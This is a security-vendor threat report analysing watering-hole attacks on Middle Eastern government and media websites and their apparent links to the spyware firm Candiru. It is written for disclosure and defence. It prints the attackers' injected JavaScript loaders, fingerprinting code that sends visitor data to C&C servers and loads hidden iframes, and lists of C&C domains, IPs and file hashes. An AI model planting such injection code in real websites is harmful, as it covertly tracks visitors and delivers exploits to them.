Strategic web compromises in the Middle East with a pinch of Candiru

welivesecurity.com/2021/11/16/strategic-web-compromises-middle-east-pinch-candiru

November 16, 2021

Back in 2018, ESET researchers developed a custom in-house system to uncover watering hole attacks (aka strategic web compromises) on high-profile websites. On July 11th, 2020 it notified us that the website of the Iranian embassy in Abu Dhabi had been modified and had started injecting JavaScript code from https://piwiks[.]com/reconnect.js, as shown in Figure 1.

```
function getScript(url) {
    e = document.createElement('script');
    e.src = url;
    document.body.appendChild(e);
}
getScript('https://get.geojs.io/v1/ip/geo.js');
getScript('https://piwiks.com/reconnects.js');



function sleep(milliseconds) {
    var start = new Date().getTime();
    for (var i = 0; i < 1e7; i++) {
        if ((new Date().getTime() - start) > milliseconds) {
            break;
        }
    }
}
window.onbeforeunload = function() {
    sleep(50000);
}
```


Figure 1. Script injection on the website of the Iranian Embassy in Abu Dhabi

Our curiosity was aroused by the nature of the targeted website and in the following weeks we noticed that other websites with connections to the Middle East started to be targeted. We traced the start of the campaign back to March 2020, when the piwiks[.]com domain was re-registered. We believe that the strategic web compromises only started in April 2020 when the website of the Middle East Eye (middleeasteye.net), a London-based digital news site covering the region, started to inject code from the piwiks[.]com domain.

At the end of July or the beginning of August 2020, all remaining compromised websites were cleaned; it is probable that the attackers themselves removed the malicious scripts from the compromised websites. The threat group went quiet until January 2021, when we observed a new wave of compromises. This second wave lasted until August 2021, when all websites were cleaned again. A few indicators from this second wave were shared on *Twitter by a fellow researcher*, which allows us to make a link with what Kaspersky tracks as Karkadann.

We detail the inner working of the compromises in the *Technical analysis* section, below, but it is worth noting that the final targets are specific visitors of those websites, who are likely to receive a browser exploit. The compromised websites are only used as a hop to reach the final targets.

We also uncovered interesting links with Candiru, detailed in the section *Links between the watering holes, spearphishing documents and Candiru*. Candiru is a private Israeli spyware firm that was recently *added to the Entity List* (entities subject to licensing restrictions) of the US Department of Commerce. This may prevent any US–based organization from doing business with Candiru without first obtaining a license from the Department of Commerce.

At the time of writing, it seems that the operators are taking a pause, probably in order to retool and make their campaign stealthier. We expect to see them back in the ensuing months.

Targeting

Our tracking shows that the operators are mostly interested in the Middle East, with a particular emphasis on Yemen. Table 1 shows the known targets in 2020 and 2021.

Table 1. Domains compromised during the first wave

Compromised website	C&C	From	To	Detail
middleeasteye.net	piwiks[.]com	2020-04-04	2020-04-06	A UK-based online newspaper covering the Middle East.
piaggioaerospace.it	piwiks[.]com	2020-07-08	2020-11-05	An Italian aerospace company.
medica-tradefair[.]co	rebrandly[.]site	2020-07-09	2020-10-13	Fake website impersonating a German medical trade fair in Düsseldorf.
mfa.gov.ir	piwiks[.]com	2020-07-11	2020-07-13	Ministry of Foreign Affairs of Iran.
almanar.com.lb	rebrandly[.]site	2020-07-24	2020-07-30	Television channel linked to Hezbollah.
smc.gov.ye visitortrack[.]net hotjar[.]net	Ministry of Interior of Yemen.			
almasirahnews.com visitortrack[.]net hotjar[.]net	Yemeni Television channel linked to the Ansar Allah movement (Houthis).			
casi.gov.sy	hotjar[.]net	2021-02-01	Unknown	Central Authority for the Supervision and Inspection of Syria.
moe.gov.sy	hotjar[.]net	2021-02-01	Unknown	Syrian Ministry of Electricity.
almanar.com.lb webfx[.]bz webffx[.]bz webffx[.]bz	Television channel linked to Hezbollah.			
manartv.com.lb	webfx[.]bz	2021-02-03	2021-03-22	Television channel linked to Hezbollah.
mof.gov.ye	hotjar[.]net	2021-02-11	2021-07-14	Ministry of Finance of Yemen.
scs-net.org	hotjar[.]net	2021-03-07	Unknown	Internet Service Provider in Syria.
customs.gov.ye	livesesion[.]bid	2021-03-24	2021-06-16	Customs agency of Yemen.

Compromised website	C&C	From	To	Detail
denel.co.za pmp.co.za deneldynamics.co.za denellandsystems.co.za denelaviation.co.za	site-improve[.]net	2021-03-31 2021-03-31 2021-04-03 2021-04-04 2021-04-07	2021-07-22 Unknown 2021-07-27 2021-07-23 2021-07-19	A South African state-owned aerospace and military technology conglomerate.
yemen.net.ye	hotjar[.]net	2021-04-15	2021-08-04	Internet service provider in Yemen.
yemenparliament.gov.ye	hotjar[.]net	2021-04-20	2021-07-05	Parliament of Yemen.
yemenvision.gov.ye	hotjar[.]net	2021-04-21	2021-06-13	Yemeni government website.
mmy.ye	hotjar[.]net	2021-05-04	2021-08-19	Yemeni media linked to the Houthis.
thesaudireality.com	bootstrapcdn[.]net	2021-06-16	2021-07-23	Likely dissident media outlet in Saudi Arabia.
saba.ye	addthis[.]events	2021-06-18	Unknown	Yemeni news agency linked to Houthis. However, it seems it was taken over by the Southern Transitional Council in early June 2021, just before this website was compromised.

medica-tradefair[.]co is the outlier in this list, as it was not compromised but was operated by the attackers themselves. It was hosted at ServerAstra, as were all the other C&C servers used in 2020.

It mimics the legitimate website medica-tradefair.com, which is the website of the World Forum for Medicine's MEDICA Trade Fair held in Düsseldorf (Germany) each year. The operators simply cloned the original website and added a small piece of JavaScript code.

As seen in Figure 2, the content doesn't seem to have been modified. It is likely that attackers were not able to compromise the legitimate website and had to set up a fake one in order to inject their malicious code.

Figure 2. Cloned version of the Medica Trade Fair website

It is interesting to note that the malicious domains mimic genuine web analytics, URL shortener or content delivery network domains and URLs. This is a characteristic of this threat actor.

Technical analysis – Strategic web compromises

First wave – 2020

First stage – Injected script

All compromised websites were injecting JavaScript code from the attacker-controlled domains piwiks[.]com and rebrandly[.]site. In the first known case, the injection is as shown in Figure 3.

```
function getScript(url) {
    e = document.createElement('script');
    e.src = url;
    document.body.appendChild(e);
}
getScript('https://get.geojs.io/v1/ip/geo.js');
getScript('https://piwiks.com/reconnects.js');



function sleep(milliseconds) {
    var start = new Date().getTime();
    for (var i = 0; i < 1e7; i++) {
        if ((new Date().getTime() - start) > milliseconds) {
            break;
        }
    }
}
window.onbeforeunload = function() {
    sleep(50000);
}
```

Figure 3. Script injection on the website of the Iranian Embassy in Abu Dhabi

This injection loads a remote JavaScript named reconnects.js and a legitimate third-party library, GeoJS, for IP geolocation lookup.

In the cases of rebrandly[.]site injections, the additional scripts are loaded using HTML script tags, as seen in Figure 4.

```
[...]
                    </div>

<script src="https://rebrandly.site/jsencrypt.js"></script>
<script src="https://rebrandly.site/jsencrypt.min.js"></script>
<script src="https://rebrandly.site/crypto-js.js"></script>
<script src="https://rebrandly.site/recon-api.js"></script>
<script async src="https://get.geojs.io/v1/ip/geo.js"></script>


            </div>
[...]
```

Figure 4. Script injected into the medica-tradefair[.]co website

Second stage – Fingerprinting script

reconnects.js and recon-api.js are almost identical; only the order of some lines or functions are changed. As shown in Figure 5, the malware authors tried to avoid raising suspicions by prepending their script with a copy of the jQuery Browser Plugin header. They were probably hoping that malware analysts would not scroll further.

```
/*!
 * jQuery Browser Plugin 0.1.0
 * https://github.com/gabceb/jquery-browser-plugin
 *
 * Original jquery-browser code Copyright 2005, 2015 jQuery Foundation, Inc. and other contributors
 * http://jquery.org/license
 *
 * Modifications Copyright 2015 Gabriel Cebrian
 * https://github.com/gabceb
 *
 * Released under the MIT license
 *
 * Date: 23-11-2015
 */


function geoip(json){


var myhash = window.location.hash.substr(1);
var http = new XMLHttpRequest();
var url = 'https://rebrandly.site/reconnect-api.php';
var params = 'reconnect='+JSON.stringify(json)+'&hash='+myhash;
var ops = JSON.stringify(json.country)

http.open('POST', url, true);

//Send the proper header information along with the request
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

http.onreadystatechange = function() {//Call a function when the state changes.
    if(http.readyState == 4 && http.status == 200) {


    }
}
http.send(params);
main(ops);
}
```

Figure 5. Beginning of the fingerprinting script used in the first wave

The script first implements a function named geoip. It is automatically called by the GeoJS library, previously loaded, as mentioned on *the official GeoJS website*. The variable json contains the IP geolocation information. The script sends this JSON via an HTTP POST request to the C&C server at the URL https://rebrandly[.]site/reconnect-api.php. If the server returns an HTTP 200 status code, then the script proceeds to a function named main.

First, main gathers information such as the operating system version and the browser version using custom functions shown in Figure 6. They simply parse the browser User-Agent to extract information.

```
function getBrowserName() {
    if ( navigator.userAgent.indexOf("Edge") > -1 && navigator.appVersion.indexOf('Edge') > -1 ) {
        return 'Edge';
    }
    else if( navigator.userAgent.indexOf("Opera") != -1 || navigator.userAgent.indexOf('OPR') != -1 )
    {
        return 'Opera';
    }
    else if( navigator.userAgent.indexOf("Chrome") != -1 )
    {
        return 'Chrome';
    }
    else if( navigator.userAgent.indexOf("Safari") != -1)
    {
        return 'Safari';
    }
    else if( navigator.userAgent.indexOf("Firefox") != -1 )
    {
        return 'Firefox';
    }
    else if( ( navigator.userAgent.indexOf("MSIE") != -1 ) || (!!document.documentMode == true ) ) //IF IE > 10
    {
        return 'IE';
    }
    else
    {
        return 'unknown';
    }
}

function getOS() {
  var userAgent = window.navigator.userAgent,
      platform = window.navigator.platform,
      macosPlatforms = ['Macintosh', 'MacIntel', 'MacPPC', 'Mac68K'],
      windowsPlatforms = ['Win32', 'Win64', 'Windows', 'WinCE'],
      iosPlatforms = ['iPhone', 'iPad', 'iPod'],
      os = null;

  if (macosPlatforms.indexOf(platform) !== -1) {
    os = 'Mac OS';
  } else if (iosPlatforms.indexOf(platform) !== -1) {
    os = 'iOS';
  } else if (windowsPlatforms.indexOf(platform) !== -1) {
    os = 'Windows';
  } else if (/Android/.test(userAgent)) {
    os = 'Android';
  } else if (!os && /Linux/.test(platform)) {
    os = 'Linux';
  }
  return os;
}
```

Figure 6. OS and browser fingerprinting functions

As shown in Figure 7, the function then checks whether the operating system is either Windows or macOS and only continues if so. This is interesting because it suggests that this operation is intended to compromise computers and not mobile devices such as smartphones. It also checks for a list of common web browsers: Chrome, Firefox, Opera, IE, Safari and Edge.

```
function main(ops){

var osv = getOS();
var brwo = getBrowserName();
var type = '1122'

var ab = decrypt(type)

var encodedData = btoa(ab)


if(osv == 'Windows' || osv == 'Mac OS'){
    if( brwo == 'Chrome' || brwo == 'Firefox' || brwo == 'Opera' || brwo == 'IE' || brwo == 'Safari' || brwo == 'Edge'  ){
        http_get('https://rebrandly[.]site/api2.php?get=get-url&uid=                                    =&id='+
        encodedData+'&cunt='+ops.split('"').join(''), function(response){
            if(response) {
                cc = CryptoJSAesDecrypt('flcwsfjWCWEcoweijwf@#$@#$@#499299234@#$!@2',response);

                var iframe = document.createElement("iframe");
                iframe.setAttribute("src", cc);
                iframe.setAttribute("style", "width:0;height:0;");
                document.body.appendChild(iframe);
                    }
            })
}}
}
```

Figure 7. The main *function of the fingerprinting script used in the first wave*

The script also encrypts a hardcoded value, 1122, although we don't know for what purpose. Despite the function being named decrypt, it actually encrypts using RSA and the library JSEncrypt. The 1024-bit RSA key is hardcoded and set to:

```
——BEGIN PUBLIC KEY——
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDhIxVX6QGlxe1mrkPCgBtz8bWH
nzmek4He5caAE2sH2TFnXN1VdqpxMaJSi+dj9sbqHu0tSYd+5tU20514jlEOX6/D
yFFPCoOvx5TzAm+AkSmevUuMsfZTifK+wQRxRhiuMk2UbnVCVQSoCJDoPTl8Blsp
1oCEF2Kz7uIb0pea3QIDAQAB
——END PUBLIC KEY——
```

Then, the script sends an HTTPS GET request to the C&C server rebrandly[.]site. The id parameter contains the fingerprint data and the last parameter value contains the country provided by the GeoJS library.

If the server returns a reply, it is decrypted using AES from the CryptoJS library, and a hardcoded key flcwsfjWCWEcoweijwf@#$@#$@#499299234@#$!@2. This key stayed the same, even after we tried a few requests.

The decrypted value is supposedly a URL and a new iframe pointing to this URL is created. We were unable to get any valid answer but we believe it leads to a browser remote code execution exploit that allows an attacker to take control of a machine.

Second wave – 2021

In January 2021, a new wave of attacks started. The attackers created an entirely new network infrastructure and changed all their JavaScript code.

First stage – Injected script

In order to be a bit stealthier still, in this second wave, they started to modify scripts that were already on the compromised website. So instead of adding code to the main HTML page, they modified libraries such as wp-embed.min.js, as seen in Figure 8. They simply added a few lines at the end of https://www.smc.gov.ye/wp-includes/js/wp-embed.min.js to load a script from a server they control: https://visitortrack[.]net/sliders.js.

```
+document.body.style = "display: none";
+var script = document.createElement("script");
+script.src = "https://visitortrack.net/sliders.js";
+document.body.appendChild(script);
+setTimeout(function() {
+    document.body.style = "inline"
+}, 0000);
```

Figure 8. Injected script used in the second wave

Another strategy used to limit their exposure is to create a cookie the first time the visitor executes the malicious script, as shown in Figure 9. As the script is conditionally injected depending on whether the cookie already exists, this will prevent further injections. This specific code was found on the website of the Syrian Central Authority for the [sic] Supervision and Inspection (casi.gov.sy).

```
var bb = document.cookie.split("name=").pop().split(";").shift();
if (bb !== "1111") {
    document.body.style = "display: none";
    var script = document.createElement("script");
    script.src = "https://hotjar[.]net/ads0.js";
    document.body.appendChild(script);
    setTimeout(function() {
        document.body.style = "inline"
    }, 0000);
}
document.cookie = "name=1111";
```

Figure 9. Cookie creation to avoid further requests

Second stage

From January to March 2021, for the second-stage script, the operators used a script based on the *minAjax library*. This is not a fingerprinting script per se as it doesn't send any information about the browser or the operating system to the C&C server – an example is shown in Figure 10. It should be noted that very similar scripts are used by the *LNKR adware*, so a detection on this might lead to a high volume of false positives.

```
function dL() {


    function bl(resp) {
        !function (dr) {
            function t() { return !!localStorage && localStorage.getItem(a) } function e() {
                o(),
                parent.top.window.location.href = c
            } function o() { var t = r + i; if (localStorage) { localStorage.setItem(a, t) } }
            function n() { if (t()) { var o = localStorage && localStorage.getItem(a); r > o && e
            () } else e() } var a = "MenuIdentifier",
                r = Math.floor((new Date).getTime() / 1e3), c = dr, i = 86400; n()
        }(resp);
    }
    minAjax({
        url: 'https://webfex.bz/f/gstats',
        type: "POST",
        data: {
            vhref: location.href,
            juh:'e3324aaa1bccc14bb09f50867306a867',
            cs:'ffddd3df05d97d0aadf4635e6bee2587',
            ex:1616041165115,
            t0: 1616040565,
            t: Math.floor(new Date().getTime() / 1000),
        },
        success: function (response) {
            try {
                var json = JSON.parse(response)
                if (json && json.fw && json.fw.indexOf('http')>-1) bl(json.fw)
            }catch(err) {
            }
        }
    });
}
```

Figure 10. Second-stage script of the second wave

This script contains the current timestamp, t0, an expiration timestamp, ex, and two hashes juh and cs, whose significance we don't know at present. These values are sent to the C&C server https://webfex[.]bz/f/gstats. If the reply is a JSON object and contains the fw key, the script issues a redirection to the URL contained in fw using parent.top.window.location.href. As with the first wave, we were not able to get any valid redirect.

In April 2021, this script was changed to *FingerprintJS Pro*. This is a commercial product whose developers have an official website shown in Figure 11.

Figure 11. Home page of FingerprintJS

In comparison to the fingerprinting script used in 2020, this is far more complex because it retrieves the default language, the list of fonts supported by the browser, the time zone, the list of browser plugins, the local IP addresses using RTCPeerConnection, and so on. Network communications with the C&C server are encrypted with an AES session key. As shown in Figure 12, the server can return JavaScript code that will be executed in the context of the current web page.

```
function main() {
    Gn({
        token: " ",
        endpoint: "https://visitortrack[.]net/sliders.js"
    }).then((e => e.get())).then((e => {
        var t = document.createElement("script");
        t.setAttribute("src", "https://visitortrack[.]net/sliders.js?v=" + e.visitorId);
        try {
            document.body.appendChild(t)
        } catch(e) {}
    }))
}
```

Figure 12. FingerprintJS Pro adds JavaScript code to the current page

As with the previous cases, we never got a valid redirect. We still believe it leads to a browser exploit and it shows that this campaign is highly targeted.

Spearphishing documents and links with Candiru

Reminder of the Citizen Lab publication

In the *Citizen Lab Candiru blogpost*, there is a section called *A Saudi-Linked Cluster?*. It mentions *a spearphishing document that was uploaded to VirusTotal*.

The C&C server used by this document is https://cuturl[.]space/lty7uw and VirusTotal captured a redirection from this URL to https://useproof[.]cc/1tUAE7A2Jn8WMmq/api. The domain useproof[.]cc was resolving to 109.70.236[.]107 and, according to the Citizen Lab, this server matched their so-called CF3 fingerprint for Candiru C&C servers. This domain was registered via Porkbun, as are most Candiru-owned domains.

Two domains resolving to the same IP address caught our attention:

- webfx[.]cc
- engagebay[.]cc

The same second-level domains, with a different TLD, were used in the second wave of strategic web compromises. These two domains in the .cc TLD are most likely operated by Candiru too.

The Citizen Lab report mentions a few domains similar to cuturl[.]space, which we detail in Table 2.

Table 2. Domains similar to cuturl[.]space

Domain	Registrar	IP	Hosting Provider
llink[.]link	Njalla	83.171.237[.]48	Droptop
instagrarn[.]co	TLD Registrar Solutions	83.97.20[.]89	M247
cuturl[.]app	TLD Registrar Solutions	83.97.20[.]89	M247
url-tiny[.]co	TLD Registrar Solutions	83.97.20[.]89	M247
bitly[.]tel	Njalla	188.93.233[.]149	Dotsi

These domain names mimic URL shorteners and the Instagram social media website and were registered through Njalla and TLD Registrar Solutions Ltd. This reminds us of the domains used for the strategic web compromises that are all variations of genuine web analytics websites and were also registered via Njalla.

We also independently confirmed that the servers to which these domains were resolving were configured in a similar fashion.

Thus, we believe that this set of websites is controlled by the same threat group that created the documents. Conversely, the domain useproof[.]cc is most likely operated in-house by Candiru and is used to deliver exploits.

Links between the watering holes, spearphishing documents and Candiru

Table 3 summarizes the characteristics of the watering holes, the documents found by Citizen Lab, and Candiru.

Table 3. Summary of links between the three clusters (watering holes, documents found by Citizen Lab and Candiru)

	Watering holes	Cluster of documents	Candiru
Registrars	Mainly Njalla	Njalla and TLD Registrar Solutions	Porkbun
Hosting providers	ServerAstra, Droptop, Neterra, Net Solutions, The Infrastructure Group, Sia Nano and FlokiNET	Droptop, M247 and Dotsi	M247, QuadraNet, etc.

	Watering holes	Cluster of documents	Candiru
Domain themes	Analytics and URL shortener services	URL shortener services	Analytics, URL shortener services, media outlets, tech companies, government contractors, etc.
Victimology	Middle East	Middle East	Middle East, Armenia, Albania, Russia, Uzbekistan, etc.
Targeted platforms	Windows and macOS	Windows	Windows and macOS
TTPs	Strategic web compromises	Malicious documents with Document_Open macros	Malicious documents and fake shortened URLs redirecting to exploits and the DevilsTongue implant.

What is interesting to note is that the watering holes are limited to a quite narrow victimology. We also noted that domains known to be operated by Candiru (webfx[.]cc for example) are very similar to domains used for the watering holes (webfx[.]bz). However, they were not registered in the same fashion and their servers are configured very differently.

In July 2021, Google published *a blogpost* providing details on exploits used by Candiru. It includes CVE–2021-21166 and CVE-2021-30551 for Chrome and CVE-2021-33742 for Internet Explorer. They are full remote code execution exploits that allow an attacker to take control of a machine by making the victim visit a specific URL that then delivers the exploit. This shows Candiru has the capabilities to exploit browsers in a watering hole attack.

Hence, we believe that the watering holes behave similarly to the documents. The first C&C server, injected in the compromised websites, would redirect to another C&C server, owned by a spyware firm such as Candiru and delivering a browser exploit.

Based on this information, we assess:

- with **low** confidence that the creators of the documents and the operators of the watering holes are the same.
- with **medium** confidence that the operators of the watering holes are customers of Candiru.

Conclusion

This report describes two strategic web compromise campaigns targeting high-profile organizations in the Middle East, with a strong focus on Yemen. We also revealed links to Candiru, a spyware firm, that sells state–of–the–art offensive software tools and related services to government agencies.

We were unable to get an exploit and the final payload. This shows that the operators choose to narrow the focus of their operations and that they don't want to burn their zero-day exploits.

We stopped seeing activity from this operation at the end of July 2021, shortly after the release of blogposts by the Citizen Lab, Google and Microsoft detailing the activities of Candiru.

A comprehensive list of Indicators of Compromise (IoCs) and samples can be found in our GitHub repository.

For any inquiries, or to make sample submissions related to the subject, contact us at threatintel@eset.com.

Indicators of Compromise

Legitimate, historically compromised websites

Compromised website	From	To (treat as a lower bound)

Compromised website	From	To (treat as a lower bound)
middleeasteye.net	2020-04-04	2020-04-06
piaggioaerospace.it	2020-07-08	2020-11-05
mfa.gov.ir	2020-07-11	2020-07-13
almanar.com.lb	2020-07-24	2020-07-30
smc.gov.ye	2021-04-14 2021-07-30	
almasirahnews.com	2021-03-25 2021-07-17	
casi.gov.sy	2021-02-01	Unknown
moe.gov.sy	2021-02-01	Unknown
almanar.com.lb	2021-02-23 2021-03-25	
manartv.com.lb	2021-02-03	2021-03-22
mof.gov.ye	2021-02-11	2021-07-14
scs-net.org	2021-03-07	Unknown
customs.gov.ye	2021-03-24	2021-06-16
denel.co.za	2021-03-31	2021-07-22
pmp.co.za	2021-03-31	Unknown
deneldynamics.co.za	2021-04-03	2021-07-27
denellandsystems.co.za	2021-04-04	2021-07-23
denelaviation.co.za	2021-04-07	2021-07-19
yemen.net.ye	2021-04-15	2021-08-04
yemenparliament.gov.ye	2021-04-20	2021-07-05
yemenvision.gov.ye	2021-04-21	2021-06-13
mmy.ye	2021-05-04	2021-08-19
thesaudireality.com	2021-06-16	2021-07-23
saba.ye	2021-06-18	Unknown

C&C servers

Domain	IP	First seen	Last seen	Details
piwiks[.]com	91.219.236[.]38	2020-03-31	2020-07-29	Watering hole C&C server.
rebrandly[.]site	Watering hole C&C server.			

Domain	IP	First seen	Last seen	Details
medica-tradefair[.]co	91.219.236.50	2021-06-28	2021-10-20	Fake website impersonating a German medical conference.
bitly[.]bz	91.219.239[.]191	2020-03-19	2020-03-19	Unknown.
tinyurl[.]ist	91.219.239[.]191	2020-03-19	2020-04-16	Unknown.
tinyurl[.]bz	91.219.239[.]191	2020-03-20	2020-04-16	Unknown.
bit-ly[.]site	91.219.239[.]191	2020-03-25	2020-04-16	Unknown.
bitly[.]tw	91.219.239[.]191	2020-03-26	2020-04-16	Unknown.
bitly[.]zone	91.219.239[.]191	2020-03-26	2020-04-16	Unknown.
shortlinkcut[.]link	91.219.239[.]191	2020-03-26	2020-04-16	Unknown.
tinyurl[.]one	91.219.239[.]191	2020-03-26	2020-04-16	Unknown.
tinyurl[.]photos	91.219.239[.]191	2020-03-26	2020-04-16	Unknown.
tinyurl[.]plus	91.219.239[.]191	2020-03-26	2020-04-16	Unknown.
site-improve[.]net	185.165.171[.]105	2021-01-06	2021-07-21	Watering hole C&C server.
clickcease[.]app	83.171.236[.]147	2021-01-06	2021-07-28	Unknown.
visitortrack[.]net	87.121.52[.]252	2021-01-06	2021-10-06	Watering hole C&C server.
webfx[.]bz	94.140.114[.]247	2021-01-06	2021-03-24	Watering hole C&C server.
livesession[.]bid	5.206.224[.]197	2021-01-06	2021-07-25	Unknown.
engagebay[.]app	185.82.126[.]104	2021-01-07	2021-05-19	Unknown.
hotjar[.]net	5.206.224[.]226	2021-01-07	2021-08-02	Watering hole C&C server.
webffx[.]bz	83.171.236[.]3	2021-02-21	2021-03-27	Watering hole C&C server.
engagebaay[.]app	5.206.227[.]93	2021-03-07	2021-07-27	Unknown.
livesesion[.]bid	87.120.37[.]237	2021-03-17	2021-07-28	Watering hole C&C server.
sitei-mprove[.]net	87.121.52[.]9	2021-03-17	2021-07-27	Unknown.
webfex[.]bz	45.77.192[.]33	2021-02-26	N/A	Watering hole C&C server.
bootstrapcdn[.]net	188.93.233[.]162	2021-04-28	2021-07-28	Watering hole C&C server.
addthis[.]events	83.171.236[.]247	2021-04-29	2021-07-28	Watering hole C&C server.
sherathis[.]com	5.206.224[.]54	2021-06-27	2021-08-01	Unknown.
yektenet[.]com	5.2.75[.]217	2021-06-27	2021-07-27	Unknown.
static-doubleclick[.]net	87.121.52[.]128	2021-06-27	2021-07-27	Unknown.
code-afsanalytics[.]com	83.171.236[.]225	2021-06-27	2021-07-28	Unknown.
fonts-gstatic[.]net	83.171.239[.]172	2021-06-27	2021-07-24	Unknown.
moatads[.]co	87.121.52[.]144	2021-06-27	2021-07-23	Unknown.

Domain	IP	First seen	Last seen	Details
doubleclick[.]ac	5.2.67[.]82	2021-06-27	2021-07-18	Unknown.
llink[.]link	83.171.237[.]48	2021-01-25	2021-05-01	Unknown.
instagrarn[.]co	83.97.20[.]89	2020-11-02	2021-01-23	Unknown.
cuturl[.]app	83.97.20[.]89	2020-11-02	2021-01-20	Malicious document C&C server.
url-tiny[.]co	83.97.20[.]89	2020-11-02	2020-11-25	Unknown.
bitly[.]tel	188.93.233[.]149	2021-01-25	2021-03-11	Unknown.
cuturl[.]space	83.171.236[.]166	2021-01-25	2021-04-23	Malicious document C&C server.
useproof[.]cc	109.70.236[.]107	2020-11-25	2021-02-19	Candiru exploit delivery server.

Files

SHA-1	Filename	C&C URL	Comment
4F824294BBECA4F4ABEEDE8648695EE1D815AD53	N/A	https://cuturl[.]app/sot2qq	Document with VBA macro.
96AC97AB3DFE0458B2B8E58136F1AAADA9CCE30B	copy_02162021q.doc	https://cuturl[.]space/lty7uw	Document with malicious VBA macro.
DA0A10084E6FE57405CA6E326B42CFD7D0255C79	seeIP.doc	https://cuturl[.]space/1hm39t	Document with VBA macro.

MITRE ATT&CK techniques

This table was built using version 10 *of the MITRE ATT&CK framework***.**

Tactic	ID	Name	Description
Resource Development	T1583.001	Acquire Infrastructure: Domains	The operators bought domain names from multiple registrars, including Njalla.
	T1583.004	Acquire Infrastructure: Server	The operators rented servers from multiple hosting companies. In 2020, they rented servers mainly from ServerAstra.
	T1584.004	Compromise Infrastructure: Server	The operators compromised several high-profile websites.
	T1588.001	Obtain Capabilities: Malware	The operators probably bought access to Candiru implants.
	T1588.005	Obtain Capabilities: Exploits	The operators probably bought access to Candiru exploits.
	T1608.004	Stage Capabilities: Drive-by Target	The operators modify more than twenty high-profile websites to add a piece of JavaScript code that loads additional code from their C&C servers.

Tactic	ID	Name	Description
Initial Access	T1189	Drive-by Compromise	Visitors to compromised websites may have received an exploit after their browser was fingerprinted.
	T1566.001	Phishing: Spearphishing Attachment	The operators sent spearphishing emails with malicious Word documents.
Execution	T1059.005	Command and Scripting Interpreter: Visual Basic	The Word documents contain a VBA macro running code using the Document_Open function.
Command and Control	T1071.001	Application Layer Protocol: Web Protocols	The watering hole scripts communicate via HTTPS with the C&C servers.

16 Nov 2021 - 04:34PM

Newsletter

Discussion